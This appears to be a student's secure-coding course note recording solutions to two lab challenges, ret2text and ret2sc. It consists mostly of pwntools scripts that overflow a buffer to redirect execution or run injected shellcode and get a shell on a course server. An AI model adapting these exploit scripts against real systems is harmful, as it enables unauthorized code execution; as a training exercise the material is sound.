# 2019/12/10
###### tags: `108 SecureCoding`
- 完成 ta.foxo.tw 的 `ret2text`、`ret2sc`，並附上程式碼
>
>`ret2text`
```python=
from pwn import *
shell_add = 0x400638
#r = process("./ret2text")
r = remote("140.134.25.138",20001)
raw_input()
r.recvline()
r.sendline("a" * 0x18 + p64(shell_add))
r.interactive()
```
>`ret2sc`
```python=
from pwn import *
#r = process("./ret2sc")
raw_input()
r = remote("140.134.25.138", 20002)
r.recvuntil("ss : ")
add = int(r.recvline(), 16)
print hex(add)
context.arch = "amd64"
sc = shellcraft.sh()
sc = asm(sc)
lens = 0x60 - len(sc) + 0x8
r.sendline(sc + "a" * lens + p64(add))
r.interactive()
```
{"metaMigratedAt":"2023-06-15T02:33:42.295Z","metaMigratedFrom":"Content","title":"2019/12/10","breaks":true,"contributors":"[{\"id\":\"e5c1ded9-91fc-4d07-8152-26c6f08a77d2\",\"add\":843,\"del\":193}]"}